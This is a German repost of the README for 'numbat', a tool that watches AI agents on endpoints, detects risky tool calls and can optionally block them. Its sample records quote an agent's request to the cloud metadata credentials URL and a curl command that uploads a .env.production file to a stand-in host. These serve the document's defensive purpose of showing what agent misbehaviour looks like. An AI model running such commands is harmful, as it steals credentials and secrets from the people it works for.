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numbat — Einblick in die Aktivitäten von KI-Agenten auf Endpunkten, mit geräteinterner Erkennung, optionaler Blockierung vor der Aktion und forensischer Rekonstruktion. | Kitploit
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perplexityai/numbat

numbat

Einblick in die Aktivitäten von KI-Agenten auf Endpunkten, mit geräteinterner Erkennung, optionaler Blockierung vor der Aktion und forensischer Rekonstruktion.

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numbat

Endpunkt-Sichtbarkeit in die Aktivität von KI-Agenten, mit lokaler Erkennung, optionaler Blockierung vor Aktionen und forensischer Rekonstruktion.

numbat beobachtet unterstützte Desktop-, CLI-, IDE- und Gateway-Agenten über lokale Hooks und Plugins, OTLP/HTTP-Logs und On-Disk-Sitzungsartefakte. Live- und At-Rest-Aktivität wird in ein einheitliches Ereignismodell normalisiert und von derselben CEL-Regel-Engine ausgewertet. Die Erkennung läuft lokal; Datensätze können nach stdout oder in eine lokale Datei geschrieben und optional über HTTP übermittelt werden.

Die Abdeckungsmatrix ist maßgeblich für jeden Host und jede Oberfläche. Blockierung ist standardmäßig deaktiviert und auf unterstützte synchrone Pre-Action-Hooks beschränkt; siehe den Enforcement-Leitfaden.

Funktionen

  • Live-Überwachung über Hooks, Plugins und OTLP/HTTP-Log-Exporter.
  • Endpunktlokale Erkennung mit integrierten CEL-Regeln, mehrstufigen Sequenzregeln und benutzerdefinierten YAML-Regeln.
  • Opt-in-Blockierung über unterstützte Pre-Action-Hooks. Der Enforce-Modus ist standardmäßig deaktiviert und gilt nur für Regeln, die mit enforce: true markiert sind; alle mitgelieferten Regeln sind nur überwachend.
  • Forensische Rekonstruktion aus unterstützten On-Disk-Sitzungsartefakten, ohne vorherige numbat-Instrumentierung.
  • Versionierte NDJSON-Datensätze für Ereignisse, Findings, Enforcement-Entscheidungen, Indikatoren und Scan-Zusammenfassungen. Ereignisse und Findings behalten Quellverweise; JSON-Schemas definieren das Wire-Format.
  • Schreibgeschütztes Artefakt-Scannen mit Secret-Redaktion. Die normale Datensatzausgabe enthält niemals ein vollständiges Roh-Transkript; das Hinzufügen von Roh-Beweisdateien zu einem Case-Bundle ist Opt-in.
  • Inventar- und Untersuchungswerkzeuge für schreibgeschützte Agent-Erkennung, Sitzungs-Timelines und portable Case-Bundles mit SHA-256-Manifesten.
  • Single-Binary-Verteilung für macOS, Linux und Windows, ohne cgo gebaut.

Schnellstart

Installation

Laden Sie ein Release herunter für macOS, Linux oder Windows auf amd64 oder arm64. Jedes Release enthält SHA-256-Prüfsummen. Sie können auch mit Go 1.26.6 oder neuer installieren:

go install github.com/perplexityai/numbat/cmd/numbat@latest
Ein statisches Binary aus einem Checkout bauen

macOS oder Linux:

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

Windows PowerShell:

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

Inventar und Scan

Diese schreibgeschützten Befehle installieren keine Hooks und ändern keine Agent-Konfiguration:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

Überwachen und Durchsetzen

Installieren Sie Live-Überwachung für jeden Agenten mit Live-Capture-Unterstützung; die folgenden Befehle verwenden Codex als konkretes Beispiel. Hooks starten im Nur-Überwachungsmodus. --emit all schreibt Ereignisse, Findings, Indikatoren und zutreffende Enforcement-Entscheidungen nach ~/.numbat/records.ndjson.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Hook-Vertrauen: Die Anforderungen variieren je nach Agent und Scope. Für den obigen Codex-Benutzer-Hook überprüfen und vertrauen Sie seiner aktuellen Definition in /hooks (CLI) oder Einstellungen > Hooks (App), auch nach Änderungen wie --enforce. Codex- Hooks, die mit --managed installiert wurden, sind per Richtlinie vertrauenswürdig. hook status überprüft die Konfiguration, nicht die Ausführung oder Übermittlung. Siehe den Deployment-Leitfaden für andere Agenten und Scopes.

Alle mitgelieferten Regeln sind nur überwachend. Um eine Erkennung durchzusetzen, kopieren Sie ihr vollständiges mitgeliefertes YAML in ein kontrolliertes Operator-Verzeichnis, behalten Sie dieselbe id, fügen Sie enforce: true hinzu und erhöhen Sie ihre Version. Validieren und installieren Sie diese effektive Richtlinie für einen unterstützten Pre-Action-Hook:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Beispielausgabe

Hook-Ereignis (OpenClaw Cloud-Metadata-Browser-Anfrage)

Ein kontrollierter OpenClaw-before_tool_call-Callback, der durch numbats generiertes Plugin geleitet wurde, wird zu einem typisierten Netzwerkereignis mit seinem vorgeschlagenen Ziel und Ausführungskontext. Es entspricht auch der Regel für Cloud-Metadata mit hohem Schweregrad.

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
Sequenz-Finding (Claude Code Hook-Sequenz)

Ein kontrolliertes Replay von zwei vertragskonformen Claude Code Pre-Action-Callbacks in einer Sitzung – Zugriff auf eine Secret-Datei, dann ein vorgeschlagener Upload – erzeugte dieses Finding. Die Regel läuft auch während Artefakt-Scans; das Finding beweist nicht, dass eine der Aktionen abgeschlossen wurde.

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}
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